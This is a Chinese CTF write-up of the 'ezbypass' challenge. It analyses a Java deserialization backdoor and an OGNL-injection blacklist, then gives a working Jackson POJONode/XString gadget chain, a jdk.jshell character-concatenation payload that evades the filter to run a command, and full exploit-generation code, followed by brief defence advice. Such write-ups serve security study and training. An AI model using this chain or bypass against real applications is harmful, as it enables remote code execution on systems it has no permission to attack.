湖南省程序设计网络攻防线下赛ezbypass
字数 738 2025-08-23 18:31:18
Jackson反序列化与OGNL表达式注入漏洞分析
漏洞背景
本文分析湖南省程序设计网络攻防线下赛中的ezbypass题目,涉及Jackson反序列化漏洞和OGNL表达式注入漏洞的利用技术。
漏洞入口分析
反序列化入口
@Controller
public class Backdoor {
@ResponseBody
@RequestMapping(value ={"/bbbbbackd00r"})
public String backdoor(String data) throws IOException, ClassNotFoundException {
if (data == null) {
return "backdoor here";
}
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(decode);
ObjectInputStream ois = new ObjectInputStream(bis);
Object object = ois.readObject();
return object.toString();
}
}
这是一个典型的Java反序列化漏洞入口,接收Base64编码的序列化数据并直接反序列化。
可利用类分析
public class User implements Serializable {
private String name;
private String desc;
// 构造函数省略
public Boolean filter() {
String[] BlackList = new String[]{
"\"", "'", "\\", "invoke", "getclass", "$", "{", "}",
"runtime", "java", "script", "process", "start", "flag",
"exec", "req", "new", "engine"
};
String str = this.desc.toLowerCase();
for (String keyword : BlackList) {
if (!str.contains(keyword)) continue;
return true;
}
return false;
}
public String getResult() {
try {
if (!this.filter().booleanValue()) {
OgnlContext ognlContext = new OgnlContext();
return Ognl.getValue((String)this.desc, (Object)ognlContext).toString();
}
return "hacker!";
} catch (OgnlException var2) {
System.out.println(var2);
return "fail";
}
}
}
关键点:
- 实现了
Serializable接口,可被序列化 - 提供了
getResult()方法,其中包含OGNL表达式执行功能 - 有黑名单过滤机制,但可以绕过
反序列化利用链
利用链分析
利用链调用流程:
HashMap#putVal()
--> AbstractMap#equal()
--> Xstring#equal
具体原理:
- 当HashMap插入元素时,会计算hash并比较键值
- 如果hash相同,会调用
equals()方法比较 - 通过构造特殊的HashMap,可以触发
AbstractMap#equals() AbstractMap#equals()会获取键值并调用其equals()方法- 通过构造
POJONode和Xstring对象,可以触发ArrayNode的toString()
关键代码
// AbstractMap#equals
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map<?, ?> m))
return false;
if (m.size() != size())
return false;
try {
for (Entry<K, V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key) == null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
// Xstring#equals
public boolean equals(Object obj2) {
if (null == obj2)
return false;
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if (obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
OGNL表达式注入绕过
黑名单分析
黑名单包含以下关键词:
String[] BlackList = new String[]{
"\"", "'", "\\", "invoke", "getclass", "$", "{", "}",
"runtime", "java", "script", "process", "start", "flag",
"exec", "req", "new", "engine"
};
绕过技术
- 使用JDK 17特有的
jdk.jshell包 - 通过
@Character@toString()方法拼接字符串绕过关键词检测 - 利用OGNL支持多表达式执行的特性
最终Payload
@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))
这个Payload实际拼接出的命令是:
Runtime.getRuntime().exec("calc")
完整利用代码
public class jackson {
public static void main(String args[]) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
User user = new User("ctf", "@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))");
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode = objmapper.createArrayNode();
arrayNode.addPOJO(user);
Object exp = getXstringMap(user);
base64Serialize(exp);
}
public static Object getXstringMap(Object obj) throws Exception {
POJONode node = new POJONode(obj);
XString xString = new XString("bypass");
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);
return o;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String base64Serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}
}
防御建议
- 避免直接反序列化不可信数据
- 使用白名单机制限制可反序列化的类
- 对OGNL表达式执行进行更严格的过滤
- 升级到最新版本的Jackson库
- 禁用危险的Java特性,如JShell